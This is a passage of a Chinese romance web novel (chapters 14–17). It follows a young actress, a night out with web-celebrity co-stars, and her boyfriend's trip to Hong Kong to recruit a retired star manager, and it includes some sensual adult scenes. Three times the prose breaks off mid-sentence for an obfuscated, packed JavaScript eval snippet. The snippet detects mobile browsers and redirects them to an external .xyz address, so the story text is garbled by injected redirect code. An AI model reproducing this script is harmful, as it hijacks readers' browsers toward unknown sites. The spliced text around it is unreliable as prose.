“我觉得是因为这部剧的拍摄时间太短,我们两个的接触时间太少,还不太熟。今天关唯也在,我们晚上打算叫上几个朋友去酒吧嗨一下,要不要一起?大家都熟悉熟悉,对以后的拍摄也有利。” 关唯正从远处蹦跳着来,得知了他们的谈话内容后附和:“是啊!你不社恐吧,锈锈?我们叫的都是玩得特别好的网红朋友,人都不错,我也觉得你有必要和川枫增进一下感情了,当然,是纯洁的感情,你们两个现在也太陌生了吧?不,和我也很陌生。” 程锁锈想了想:“好,我先回家换身衣服,到时候直接去酒吧找你们吧。” “OK,到时候我把地址发你。”关唯比了个手势。 程锁锈回家后和陆巡说了这件事,因为赶时间,她立刻打开衣柜找衣服,陆巡在沙发上处理着公事,笑一声:“我以为你们两在剧组里磨合磨合就好,没想到晚上还要去酒吧。” 程锁锈正经过客厅要出门,脚步一顿:“虽然但是,我扪心自问,我认为这件事属于工作范畴。” “而且他们不可能玩像我们那样疯狂的酒桌游戏,再说了,关唯也在。” “那就当我没说过吧,要我送你去吗?” “可是,你已经说了啊。” 程锁锈立在原地有些无措。 陆巡下意识出口的那句话,恰恰反映了他对待这件事的最真实心理,而后理智回笼,态度转变。他什么都知道,但他又确实是醋的。 吃醋则是因为喜欢她。 “那你和我一起去,反正他们也叫了很多其他朋友。我们一起玩玩游戏,我依旧能和他们熟悉熟悉。” “要换做以前,我或许真能意气风发地陪你去,程锁锈。” “现在就免了。” 度秒如年的安静。 程锁锈叹了口气:“好,那就请你完全信任我吧,然后我自己打车去就好,我想低调点儿。” 14. 黏腻的心绪 因为出门前的不快,程锁锈像吃了味中药,即使身边的场景已然切换,即使她一会儿要去的地方是酒吧,那苦味也在口中历久弥新,让她从车内对向车窗时,看见倒映出的是自己一张忧思忡忡的脸。 关唯发来的定位在热闹非凡的酒吧一条街,不过他们去的是位于街口、消费最高最豪华的一家。 车缓慢驶过拥挤路段,程锁锈见车窗外潮人云集,谁看起来都像网红。 这样个性十足的人来来往往,身上所缀的饰品闪出一段一段迷幻的光,像那些五彩斑斓灯带与招牌的特效,她在目的地门口下车。 酒吧的侍者们伫立门前,宛如一座座哨塔,释放出的锐利目光仿佛探照灯,检阅每一辆停下的车,迅速通过车标与车型来估算每一位客人的价值,而后选择殷勤地小跑上前,开车门、帮助泊车,或像对从计程车上下来的程锁锈这样,选择无视。 程锁锈先给陆巡发了个定位报备,而后边上楼梯边给关唯发消息:【我到了。】 不出一分钟,刘川枫和关唯一起出现,将她带到他们所在的卡座,不错,又是这里最大的一处,环形沙发上坐了一排帅哥美女,模样个顶个权威,只是一张张腻子白的脸上难免能看出do过的痕迹。 关唯以大嗓门盖过音乐:“给你们介绍一下!我之前和你们说过!程,锁,锈!在和我还有川枫一起拍短剧呢!” “哇,演员呀。”大家招呼她,“快来快来!” 程锁锈在沙发上坐下,一众人好奇地打量她,其中一人问:“你不是南城人吧?” 她看对方一眼:“我是。” “那你就不是网红?” “对啊,她不是。”关唯接话,和那人说话的神情都有些得意,“要不然我们早认识她了。她才18岁,还在读书,就已经学了三年表演,这还是第一次拍剧呢,是不是挺有缘?” “妈呀,18岁,三年表演?那你们两位业余选手还不被人家实力派给全方面碾压。” 关唯想了想:“差不多。川枫,你觉得呢?” 坐在程锁锈另一边的刘川枫也想了想:“差不多。” 一桌人哈哈大笑,继续仔细观察程锁锈,发现她和他们这些人确实不大一样,脸上没有任何整容哪怕是微调的痕迹,也就不是很标准化的长相,美得很有辨识度:一张巴掌大的瓜子脸,一双很美很异域的眼睛,挺翘的鼻,略窄但具肉感的唇……毫不夸张来讲,和她对视说话时都容易走神。 南城的网红他们基本认识,怪不得没听说过她,原来人家志不在此。 程锁锈虽然和这些人不一个圈子,但如关唯所说,他们人都不错,于是一起玩得挺好。 有时候他们聊他们网红圈的事,她插不上话,但静静地听,他们偶尔聊到打广告和直播的收入,动辄几万十几万,甚至几十万,看来赚得是真不少。 有些入神,另一边传来刘川枫低低的关心:“无不无聊?” 她转头看他,笑着摇头。 “正好我想去趟洗手间。”她一指,“能陪我去一趟吗?我再问问关唯去不去。” 酒吧的卫生间鱼龙混杂,没个男人陪着还真不行。 另一边的关唯正与人聊得欢畅,喝到忘乎所以。程锁锈晃晃关唯胳膊,她耳朵几乎贴到她唇上来,勉强听清了话,豪迈地一起身:“那我也去一趟洗手间!” 刘川枫便很绅士地护送二位女士去了。 所以这个局对于增进彼此感情来说算有点用,至少程锁锈觉得和刘川枫、关唯两人都熟悉了些,明天再和刘川枫对起戏来应该更自然更放得开。 时间接近零点,她以明天还要工作为由和众人打招呼提前离开,实际是心里还记挂着陆巡,不想回家太晚。 “是啊,川枫,你明天不也要拍戏吗?”有人问。 刘川枫指了指隔着程锁锈的关唯,她明天没通告,已经喝上头了,众人便懂了,他不大放心她。看得出他是个挺好的人,他和程锁锈一并起身:“我送你到门口吧,看着你上车。” “好。” 零点的门外又是另一番景象,光鲜亮丽的潮男潮女少了不少,或者他们只是以醉鬼的形象再次出现,在路边四仰八叉地糗态百出。程锁锈出门时还差点被一丧尸式行走的男人给撞了下,刘川枫护着她,送她上计程车,嘱咐她到家后发条消息。 她应“好”。 额头抵在车窗上,在这个寂寞的夜里感到恍惚。 另一边有辆并行的车按两下喇叭,又按两下。 司机是个恹恹的人,眼里只有开车与生计,似乎对生活里的任何其他事都提不起兴趣,哪怕在右侧与他并行的是一辆银色大牛,这座城市的图景都在那光亮如水的车漆上映过去。 程锁锈循声抬眼,有些惊讶,降下右侧车窗。 她在车窗框上撑着脸,看陆巡,他驾驶位的车窗也全部降下,偶尔与她对视几眼。 虽然什么话都没有说,两人面上也平静,但对视时还是忍不住在眼里盛了笑意,怕是再多一秒就要破功了。 这秋夜的风拂过陆巡前额的发,也一路拂着程锁锈面庞,尽管在车速快时让她几欲睁不开眼,甚至使她的眼里有点湿润。 霓虹在他们脸上描画出一阵一阵的光斑,到小区门口,程锁锈很自然地下了车,坐上陆巡的副驾驶位。 刚才有一段路上,她看着他车内的中控发呆,就在想他听的是什么歌,上车后那很符合他的张扬的曲调环绕周围,陆巡将车窗升上:“你明天还要拍摄。” “是啊,所以我这不是提前出来了吗?他们真能玩,全是些网红,叽里呱啦叽里呱啦,说着他们圈里的那些大瓜……” 陆巡笑出声,她给他说了几段她听懂的八卦,也跟着笑,回家后褪了衣服,才后知后觉地感到疲惫至极,洗漱完毕,在床上看了会儿明天的剧本,一歪脑袋一撒手,昏睡过去。 几乎失去意识,第二天醒后才模糊想起来昨晚发生了什么。 陆巡是在她之后从浴室里出来的。 她隐约感觉到他单膝跪上她这一侧床沿,小心翼翼地将剧本从她手边抽走,而后在她的另一侧躺下,关灯。 将她整个人轻轻地转入他怀里,搂着她,使她仰起头,在她的唇上轻啄,很轻很轻,又变成舔,从慢到快,从轻到重,愈加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717634|173790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肆无忌惮,很顽劣地在她要被弄醒的边缘反复试探,两人之间有什么东西硌得慌。 第二天撑起身来的程锁锈回想起整个过程,红透脸,看着旁边还睡着的陆巡,整个人仿佛仍陷在那场潮湿的春梦里。 她匆匆地收拾好东西,去拍摄,刘川枫和关唯都在,看上去状态也不错,不知道是不是妆造的效果,她不免佩服他们这些网红精力之旺盛。 当然更佩服陆巡。 经过晚上那一通折磨,她再和刘川枫拍起亲密戏,满脑子都是陆巡那张脸。那湿湿软软的舌头,一遍一遍地磨过她唇上的触感,她仰起头,如同接受着爱抚,半梦半醒中泛起一池春水,于是拍戏时脸上都烫的,再和刘川枫在镜头前谈情说爱时也都沉浸在那样粘腻的心绪里了。 十月中旬,《青梅》杀青。 大家一起参加了杀青宴,陆巡来接程锁锈时副驾驶位放了一大捧乌梅子酱曼塔玫瑰,很符合这部剧感觉的色系,程锁锈说:“我也有个礼物要送给你。” 陆巡看她一眼,没从她身上看出什么特别:“行。” 程锁锈就喜欢他这么爽快,不刨根问底。 晚上从浴室出来时,她穿着《青梅》里设定的高中校服。 这身衣服陆巡在片场见过,可不知为什么,眼下看着就是和当初在阳光普照的红绿色塑胶操场上、灰白的教学楼前的不一样。 眼前整个人都像刚被从水里捞出来的,自带一种氤氲的柔软,皮肤更显白嫩,泛着热水流过所染上的粉,那一双修长的腿在百褶裙下简直犯规,最主要是,程锁锈将“老娘就是在勾引你”这句话给明晃晃写脸上了,微眯着双眼,像要开始抓不听话的小孩。 明显感觉到体内的躁动,简直热血翻涌,但陆巡还是挺淡定地靠在床头,视线上下扫过,点评道:“让你演这部剧真是太委屈你了。” 程锁锈抬起双手。 一如她当初无路可走,来这里投奔陆巡,他那副抬起双手好像要拥抱她的模样。 陆巡无奈地笑笑,从床上起身,靠近她的步子依旧缓慢而带一点踉跄。来到她身前,双手攥住她细腰,狠狠地往一旁柜子上一撞。 明知他左腿不好,站着将她托起或抱着她走路时都会吃力,但他天生是那么自尊而要强的人,懂得如何用强项来弥补自身的弱点,譬如他一直练拳,只消一拳就能让赵哲凯再无还手之力。 他以前健身是为了保持副好身材,现在肌肉摸上去明显比之前更加饱满。程锁锈环着他后颈,手臂不断磨蹭着他肩头的紧实,呼吸被捣得紊乱。 偶尔会因为他那条左腿而不得不调整下姿势,仿佛一段连贯乐曲中一处不太完美的停顿。 但没关系,因为之前完美而流畅的次数太多,都没什么意思了,这样反而让程锁锈想起他们的第一次,生涩,激烈,是两个还不太熟练的人在非常忘我且全力地磨合。 陆巡脸埋进她颈窝,在那粗重得要卸力的呼吸声中,他说:“我过几天要去一趟港城,不知道什么时候回。” “去……干嘛?” 她断断续续地问得艰难。 “之后你就知道了。” 15. Hugo * 十一月。 自从上次的录音笔事件,程锁锈偶尔翻一翻学校论坛,只是气温低下来,冷空气能很轻松地穿透衣料再侵入人肌肤,学校的后花园已经不适合待了。 受扈嘉怡启发,她发现器材室是个不错的选择,门一关,再反锁,就是有点脏乱和有点潮,但比在许多人目光下和被打扰要好太多。 论坛上关于她的话题不多了,因为她的在校时间也变得寥寥。 最近只有一篇:【你们知道CSX十月为什么没来上学吗?】 【WHY?】 【拍短剧去了。】 【WHAT?】 【什么短剧,求告知。】 【你自己搜吧,我也是无意在dy上刷到然后知道的,两个拍短剧的网红分享了和她的合照,说他们有合作的短剧即将播出,请大家期待。】 不到五分钟就有人扒出来:【找到了,可真没听说过那两位网红,更没看过什么短剧。不是,我听说某位一直在学表演,按说以她和她男朋友那条件,要想进军演艺圈起点应该更高吧?这个短剧的意思是……】 【不懂,但尊重。】 【或许是金子在哪儿都会发光吧。[偷笑]】 【楼上是在嘲讽吗?可我觉得是真的呀!学姐和那些网红在照片里就明显不一样(没有拉踩的意思),之前在学校也有幸碰到过学姐,我感觉比我见过的很多明星都不差,如果学姐真出道的话,我肯定去应援当粉丝!嘻嘻,在学校的时候就总希望学姐能多看我几眼!】 【+1】 【+10086】 【她隐藏了各平台上好多动态,包括所有关于LX的,是又分手了吗?】 【不是吧,上次的教训还没吸取够?这应该是在为成为公众人物做准备。】 …… 程锁锈大略看过这些ID七嘴八舌的讨论,满脑子只有一个想法:陆巡现在在港城。 港城。 她对那地方印象不怎么样,可能因为发生过不愉快,有段灰色的记忆,提及时还仿佛能闻到似有若无的血腥气。 陆巡的父亲也在港城,那他这次回去是不是和家里有关?什么时候回来也没个准信,让她一头雾水。 她在南城也不过做功课,学表演,观看影视作品来练习,偶尔和朋友们出去玩,刘川枫和关唯总叫她,但每次玩完了也没觉得特别有意思。 陆巡说他不方便接电话,有事发消息,他隔三岔五回,晚上有时间会给她打电话。 程锁锈也只是在电话里与他闲侃,并不问他具体在忙什么,因为察觉到他不想说。 可第12天晚上她终于忍不住了,站在他大平层的窗台前,眺望夜色中某个方向,仿佛那极远处就是港城似的:“陆巡,你到底在那边干什么呢?” * 他到底在港城干什么呢? 对于这个问题,陆巡没有回答,因为一言难尽。 十月末,他到港城来的目的很明确,找一位已经隐退的传奇经纪人——中文名“陈季隆”,但大家都称他为“Hugo”,请他出山带程锁锈进演艺圈。 Hugo实在太适合程锁锈了。 在他辉煌的生涯里,他只带过三位女艺人,凭借眼光毒辣,用他自己话来讲就是“只挑选最能制胜的筹码”,采取1v1模式,带出的三位女星风格迥异,但都符合时代潮流且现象级爆火,使他被誉为“女星教父”及“点金手”。 他带出的第一位女星是80年代至今家喻户晓的“大姐大”谢青华,第二位是90年代的“玉女掌门人”杨抒仪,第三位是00年代以打戏出彩、第一位打入好莱坞的华裔女明星高曼。 但也是高曼在事业巅峰期被曝出与比她大10岁的港城男星詹佑祖的不雅照,又牵扯出两人恋爱传闻,并不美好,高曼的星路自此下坡,被抨击是“Hugo生涯中的唯一败笔”。 就在大家期待Hugo的10年代女星选择,将其视为行业内风向标时,高曼又被曝患有抑郁症,不久后自杀,詹佑祖不堪舆论压力宣布退圈,Hugo也选择隐退。 陆巡一到港城便前往Hugo的清水湾别墅造访,时光在这座古朴的宅院里几乎没留下任何痕迹,这里也距TVB电视城不远。 陆巡被菲佣带进后院时,Hugo正在他自己修建的人造池塘边钓鱼。 近60岁的男人看起来却像40岁,保养得相当好,衣着体面考究,听明他来意后用洪亮的嗓门笑,讲带港城口音的普通话,一字一顿、一扬一挫的:“真是胡闹!你来我这里,你爸爸知道吗?” 陆巡在酒店没住多久,果然被陆老给召回太平山顶。 父子一起用晚餐,陆启耀关心他左腿几句,仿佛明目张胆地放出个烟雾弹,再直击要害:“怎么回港城不来找我,先去打扰Hugo?你这是要做什么?” 陆巡开门见山地说明原委,不卑不亢,没被陆启耀那气势给镇住,从而认为自己有哪里做得不妥。 陆启耀舀一口汤,又放回寻常语气:“让你管的那些七七八八的生意,你都做得怎么样?” 陆巡抬眼,目光中间是陆启耀,其后是挑高七米墙上一头巨大的狂啸中的金虎,左墙上挂张大千泼墨山水,右墙上挂赵无极抽象画,他将手下管理的所有公司汇报得有条有理,陆启耀追问时也对答如流。 看来是让陆老满意了,他一挑眉,话题转回:“陆家可不太欢迎演艺圈的人踏入家门,会很麻烦。你看中的这个女孩家庭情况怎么样?是南城人?” 陆巡反而不再回答。 “Daddy,”他说,“我已经做好了分内事,只是来为想做的事争取个机会。” 老爷子哈哈大笑,拿金筷头对他一指:“你不说,我自己去查!但在没查出来之前,你不准离开我半步。” 于是陆巡就这么被锁在了陆启耀身边。 每天乘劳斯莱斯幻影出入,陆启耀带陆巡去自己钟爱的饭店吃钟爱的燕窝酿鸡翅,又遇到熟人,向其介绍了自己的这位儿子,让陆巡代自己喝不少酒,自己却红光满面地在那儿咂红枣枸杞。 又带陆巡去参加赛马会,看他一年五六百万培养出的“金麒麟”,那一身淡金色毛发,在阳光下简直是极致高贵的象征;乘游艇出海, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717635|173790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指着南岛,说起80年代自己盘下第一间赌场的往事。 就这样消磨了许多天,陆巡也不便坐轮椅,只能缓慢地在他身边跟。但在陆启耀身边,哪怕他什么样都无所谓。 于是他回程锁锈消息的时间寥寥,晚上倒能抽时间通个电话。 眼下都十一月了,南城已入秋,港城却温暖而干燥,两人仿佛处在两片天地里。那天程锁锈终于问他:“陆巡,你到底在那边干什么呢?” 她声音伴着细细碎碎的风,很孤独很落寞的感觉。 他一时也说不上来。 只是语气不自觉温柔:“锈锈,再等等吧。具体什么时间回去,我还是说不准。” 看着港城的这边山色,和之前在这里休养时真一模一样,不讨喜。 * 眼看一个月快过去,陆启耀调查一个人不可能这么慢。 各种各样的地方他都带陆巡去过,最后才同意他请求,放他去找Hugo,当然他肯定提前将Hugo那边给打点好了,最后丢给陆巡一句话:“世界何其广阔,而你和你妈一样,偏安南城,就喜欢执着于眼前一些鸡毛蒜皮的琐事。” 陆巡回了违心的话:“Daddy,您没亲眼见过她,不知道她是这世界上最好的筹码。” 心里话却是:程锁锈是这个世界上我唯一想不顾一切去托举的人。 陆启耀淡淡地瞥他一眼,不知是否看穿他表里不一:“那我就看看你能在内地的演艺圈里折腾出什么水花。” “有Hugo出山就足够折腾出水花了。”陆巡笑笑,“谢谢daddy。” 陆启耀目视远方,不像在对他说话,而像是在兀自慨叹般:“养在笼子里的金丝雀,只有饿的时候才会对你唱歌,而一旦喂饱了心里就只有一件事——远走高飞。” 陆巡没在面上反驳,之后去清水湾找Hugo,Hugo说:“这样吧,你现在打电话问问你女朋友的生辰八字,我再决定。” 陆巡好笑,或许这也算是和命运打一次赌。他给程锁锈打电话,问了这奇怪的问题,程锁锈没多问什么,告诉了他,陆巡拿笔洋洋洒洒地记在Hugo的记事簿上。 电话里又传来程锁锈声音:“陆巡,我能去港城找你吗?” * 维多利亚港畔,傍晚的风还是有些凉,程锁锈披了件薄外套,手里拿一盒烟及一只打火机。 走向陆巡时,他坐在轮椅上,支开了负责为他推轮椅的人,混在一众乌乌泱泱的游客中,她把烟盒及打火机一并丢给他。 “谢了。”他从中抽出一根,以手拢着打着了火,“就破例这一次。” “有心事啊?”程锁锈在他身边坐下,向前探身,以挨得他近些。 她眯眼看着眼前极致绚丽的图景,那一座座铺开的高楼大厦闪着细细密密的华光,霓虹映在墨蓝绿色水面上,以粉蓝色为主,荡漾。 天地间都是一层雾蒙蒙的紫,光怪陆离又有种别样的扭曲。 “所以你觉得天时地利天和,让我拍了那部短剧,然后不惜投一笔钱来让那部短剧更精良些,再用它来港城给我找经纪人,是不是?” 16. 空烟盒 “经纪人?”陆巡吐出口烟后眉头一皱,“你怎么知道?” 他这副姿态倒挺像港城明星。 “你之前说的呀,要给我物色一位经纪人。”程锁锈托着脸,“不然你来这里做什么?还问我生辰八字,神神秘秘的。” “哦——你应该是在被问生辰八字时猜出来的。” “差不多吧,又想了一路,觉得是这么回事。” 两人一安静,周围的喧闹便盖上来,被程锁锈自动模糊为一片杂音,而她在这样的杂音中酝酿自己有些难启齿的话。 她回想,她和陆巡刚在一起的半年,与复合后的几个月很不一样。 高二的那半年里,他们无忧无虑,什么都不用担心,在学校的时候撒欢撒野,不在学校的时候就找地方找事情消磨时光,泡吧,购物,旅游,骑车,几乎马不停蹄地完成一切眼下所能想到的吃喝玩乐。 当然他们未来也有很多计划,这个世界上还有很多地方他们没一同去过,比如在北极坐破冰船观光,比如在非洲大草原上看动物迁徙……她想过进演艺圈,但因为那会儿有家里托底,一切都很随性,不必像眼下这样迫在眉睫,步步如打仗,总有不可预料的状况发生,总有突如其来的分离。 她下巴被撑得疼,手肘压在腿上也疼,终于嘴巴一张一合,机器人一样的动作,说:“陆巡,我有点想问,我走演艺圈这条路是对的吗?” 陆巡看她一眼,她目光一直落远方。 他就好笑:“怎么突然打退堂鼓了?” 程锁锈缓了会儿,叹一口气:“这几天和刘川枫他们一起玩,我就在想,我之前确实对演艺圈有兴趣,但人生有很多条路,是不是不一定非在这条路上磕到死。” “比如我去当网红,也能赚很多钱。如果那样,我们两个人的每一个当下都能够过得好,和以前一样,之后随缘接剧拍也可以。” “其实你我都清楚,以我们两人现在的家庭状况,以后无论我在演艺圈发展得有多好,我们都不可能有结果。可你说,只要在一起,就算是在一起,我却觉得走这条路的结果很不可控,比如你知道我把我们之前所有合照、在网上的所有痕迹都给隐藏删除时,我心里是什么滋味吗?这意味着我们以后再也不会自由了。再也不会像现在这样,堂而皇之地坐在维港边。” 陆巡支着脑袋,和她看一个方向。 “现在顾虑起这些,之前怎么就离开我离开得那么潇洒?” “陆巡,这时候别开玩笑。”程锁锈很冷漠,“你知道我那时候不是认真的,家里也没破产,有钱,做什么都行,等你回南城来和我服个软,和你和好是分分钟的事。” “哟,这么牛逼。” “所以啊,我们对彼此都是真心的,否则你现在也不会一心帮我。我就在想,这条路走下去真的合适么?我以后说不定还会和某个男明星在镜头前赤身裸.体地滚床单,你能接受?” “……那我就把你洗干净,再滚一百遍。” “……” “我不想和你说话了。” 程锁锈觉得自己说得特别走心,陆巡却吊儿郎当。 她没了兴致,他却又来劲,语气认真而缓慢:“其实你和我说这些,你心里已经有了答案。那我也问你,你认真学了那么久表演,知道自己一旦获得机会与资源便很容易有所成就,让你放弃,你甘心吗?” “让你放弃的那个我,是你喜欢的我吗?” 程锁锈不答。 “与其说放弃,”他继续说,“你只是担心,在这条路上会不会和我越走越远。你这么考虑我倒是挺开心的,证明我对你来说很重要。” “当然很重要了。陆巡,你少嘴贫。” “那我也不会离开你。” 突然一句直白了当的话,程锁锈心脏收缩一下。 “所以你大胆放心地往前走,何况我也算是你投资人,在你身上下了这么多注。” “就算有一天你觉得和我远了,那就想办法把我吸引回来,因为我喜欢的也是之前说出名后要给我签名的你,那才是最真实的你。” “哦,好。” 程锁锈从他身上摸过烟盒与打火机,捏出根烟来,用手拢着点燃:“那我也破一次例。” 这个可以肆无忌惮的夜晚。 陆巡起身,走到她身边,和她并排而坐,将她搂住,程锁锈头顺势歪靠到他肩上,听他说:“其实如果今年什么事都没有发生,我们可以毫无忧虑地在一起一辈子,没人不想过这样的生活。但出事后我又想,有点挑战也未尝不可,难道你就不好奇,如果一切都充满未知,我们以后会变成什么样子吗?” 程锁锈笑了笑,深深地吸一口烟。 “也许会有点好奇吧。” 但也不免害怕。 “可我觉得我们能克服一切,我们都这么厉害。” 接下来两人没有说话,陆巡收回搂她的手,他们只是紧紧地依偎在一起,对着眼前的景象出神。 似乎一下子在天地之间变渺小,但又很珍惜这样的渺小。因为从某一天开始,或许从明天开始,一切天翻地覆,就再也退不回这渺小的节点了。 陆巡手机铃声响,程锁锈瞄过去一眼。 他在另一侧接起,是Hugo。 他说:“七少爷,这活我接了,有空带你女朋友来见见吧,当然真人与照片差距太大的话我会反悔啊!” 他笑:“差距是挺大。” “嗯?” “您见过就知道了。” “你这小崽子……” 电话挂了,程锁锈明白是怎么回事,没问什么,仿佛命运在这时一锤定音。 “多在这儿坐一会儿行不行?你冷不冷?”她问。 “天啊,我裸着都不冷,你什么时候变这么体贴了?” “神经……” 两个人就这么坐到游人稀少,天色暗得彻底,仿佛让出舞台,供眼前这一片迷乱的光影狂舞。 程锁锈想,陆巡如此大动干戈地来港城给她找经纪人,那一定不是俗人,又耽误了这么多天,可见费了多少周章,那么这事他父亲肯定也知道吧,或者是他主动去找的他父亲,以方便后期动用各种资源为她服务。 看样子最后的结果是好的,否则他父亲不悦,请经纪人这事一定不会成功。 她想知道陆巡父亲对待这事的态度。 他凭什么同意的? 难道只是抱着允许陆巡在演艺圈投资赚钱的态度吗? 直到四下几乎无人,遥遥水面上时不时滑过几艘游艇,隐隐可窥见其中的纸醉金迷,风也凉得将薄外套都完全浸透了,坐得实在太没有意思,太寂寞,于是在垃圾桶中留下空烟盒,程锁锈想了想,把打火机放在垃圾桶旁边,谁需要谁拿走吧。 陆巡打电话叫车来,让程锁锈为他推一段轮椅。程锁锈骂了他几句,却笑着。 他在轮椅上又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717636|173790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一副很闲适的模样,如果程锁锈能从正面看见他表情,那么会发现他唇角也勾起,带笑,可那双眼睛却没有笑意,而是很深很深,如死水。 离开陆宅前,陆启耀把他带到家族的祠堂里跪着发誓。 发的第一个誓,不因为程锁锈这个人而耽误正业,发的第二个誓,不会娶程锁锈为妻,以此换来的是:可以倾尽陆家的所有人脉与资源捧她。 那一刻他也在心里发誓:终身不娶。 而后立刻在人生观里,把婚姻归为极其庸俗的东西。 他和程锁锈不需要这种庸俗的东西来证明什么,他们永远在一起。 * 带程锁锈去清水湾见了Hugo,Hugo笑了,程锁锈没理解这笑的含义,实际是Hugo理解了陆巡为什么会那么狂傲地说:“差距是挺大。” 人是生动的,比在照片和视频里的更有张力。 可要知道,照片和视频里的程锁锈就足够惊艳。 Hugo会讲普通话,毕竟之前专门带女星往内地里杀,只是那普通话掺着太浓太浓的港城口音,见了程锁锈本人后,他又和陆巡聊了几句,说:“那没问题了,我明天就开始筹备我的事宜。本以为可以退休养老,没想到还要再去内地陪你们这些小崽子胡闹。” 陆巡笑:“您扪心自问,您想不想?” “哼哼……” Hugo讳莫如深地转过脸去。 他终身未娶,无儿无女,看起来算好相处。 只是陆巡能请到他委实让程锁锈震惊,坐实了他已经得到他父亲那边应允的猜测。 从前她知道陆巡厉害,没想到这么厉害,两人从Hugo的别墅出来,为表示尊敬,陆巡进Hugo住处都是用走的,慢慢地走,她也就陪他慢慢地走:“怪不得你昨天晚上不让我放弃。” 他说:“就算没请到Hugo,我也不会让你放弃。” “哦?” “再说了,你也清楚Hugo是什么身份,他能这样下定决心,就足以证明你昨天的想法很错误,程锁锈。” “知道了,你少来。” “是不是很多人把你从小夸到大,你听这样的话都已经没感觉了?” 程锁锈笑:“还行吧。” 安静一会儿。 “不过最有成就感的时候,是你说你也喜欢我的时候。”她骄傲地补充,“因为不知道自己的上限,见到你这样的人,不确定你会不会喜欢我。” “但你说喜欢,我就知道,我是这个世界上非常完美的一个人!” 又安静一会儿。 两人胸腔里好像都汹涌起很酸的情绪,按捺下去。 上了车,程锁锈问:“我们接下来做什么?回南城吗?” “先不急吧。”陆巡想了想,“你还不太了解Hugo,他这人一旦进入状态简直是工作狂魔。我觉得当务之急是,我们先在港城玩几天,我带你玩。” 他从小就在港城与南城之间两地跑,直到他母亲与父亲感情彻底破裂,才在高二正式转学到南城国际。 程锁锈点点头:“行。” “对了,你不是说隐藏掉我们的所有照片,删除了网上的所有互动后很伤感?”他看她一眼,带调侃,再提这事时全然没有了昨晚的气氛,程锁锈瞪他一眼,脸上写着:怎么了? 他说:“就用ins吧,账号设置成私密,就当是我们两人之间一个新的小秘密,好不好?” 17. 造势 程锁锈盯了他良久:“好。” 又在港城待了三天,难得暂时什么都不必顾虑。这里算陆巡的半个家乡,所以他带程锁锈玩起来驾轻就熟,第一天去南岛无人的沙滩,趁白日里温度最高的时段过了个夏天。 程锁锈只有在陆巡面前才愿穿性感的泳衣,蒂芙尼蓝色的比基尼。 她背对着散漫的日光,半身露出海面,长发洋洋洒洒,发尾漂浮在水上,弯卷成很柔美的形状。 陆巡给她拍了很多张照片。 这背光的场景中,她如此伫立水中,配上那张惊世绝伦的脸,如勾魂摄魄的海妖在白日里出水。 一身高级的颜色,与水天之间的光线折射相得益彰,如果在这些照片顶上打上顶奢LOGO,那么可以直接拿去做海报了。 他们在ins上创建了两个私密账号,互关,陆巡发布这一组照片,配文:【我的女明星。】 程锁锈也以相同的角度给他拍了几张情侣款,发布在自己账号上,配文:【我的地下男友。】 她对自己所想出的对应文案无比满意,也觉得陆巡这个建小号的点子非常不错,夸了他一整天。 第二天在街头逛逛买买,陆巡说女明星没点像样的行头绝对不行,程锁锈深表赞同。 最后一天陆巡带她去陆启耀太平山顶的宅院,陆启耀不在。 程锁锈来港城的第一个夜晚,他们坐在维港的岸边,与维港平视;后来回到丽晶酒店,仿佛被关进一座精致的玻璃罩笼,倒能通过巨大而明净的玻璃窗对维港俯视欣赏;可在太平山顶,那些密密麻麻的闪耀的建筑被尽收眼底,每一处的顶端都清晰无余,让人仿佛获得了真正的自由,满心一览众山小的舒畅。 两人站在别墅的阳台上,抱着手,对着这一幕各怀心事。 陆巡问她:“怎么样,还想放弃吗?说要去当网红?” 程锁锈目光迟一会儿才移开,落他身上,很不屑地扫他一眼:“陆巡,你少阴阳怪气,小心老娘我以后不赏你签名。” * Hugo的执行力拉满,交代完港城那边的事,在南城租下一座古旧典雅的小别墅,作为临时的栖身之所——明年他将转驻北城,因为他给程锁锈定下了第一个目标:考北城电影学院。 而在程锁锈原本的人生计划中,她大学或许会挂名在国外某艺术院校,水水学历,不耽误在国内发展。没想到Hugo直接让她进演艺圈中心卷。 Hugo从港城带来位助理,一名三十岁左右的男性,叫“Bob”,同时他也在给程锁锈物色助理,说要亲自培养一段时间,之后再让其随程锁锈工作。 他和陆巡将一切开展得井井有条,他们甚至梳理出程锁锈父亲程滕华破产后的债务表,所幸家产变卖后都还得差不多了,他只是跑路了而已,而程锁锈每天的任务是:上课,上课,上课。 Hugo亲自会面了张椿意,张椿意当然久仰他大名,对于他来内地、重出江湖这事受到了不小震惊。 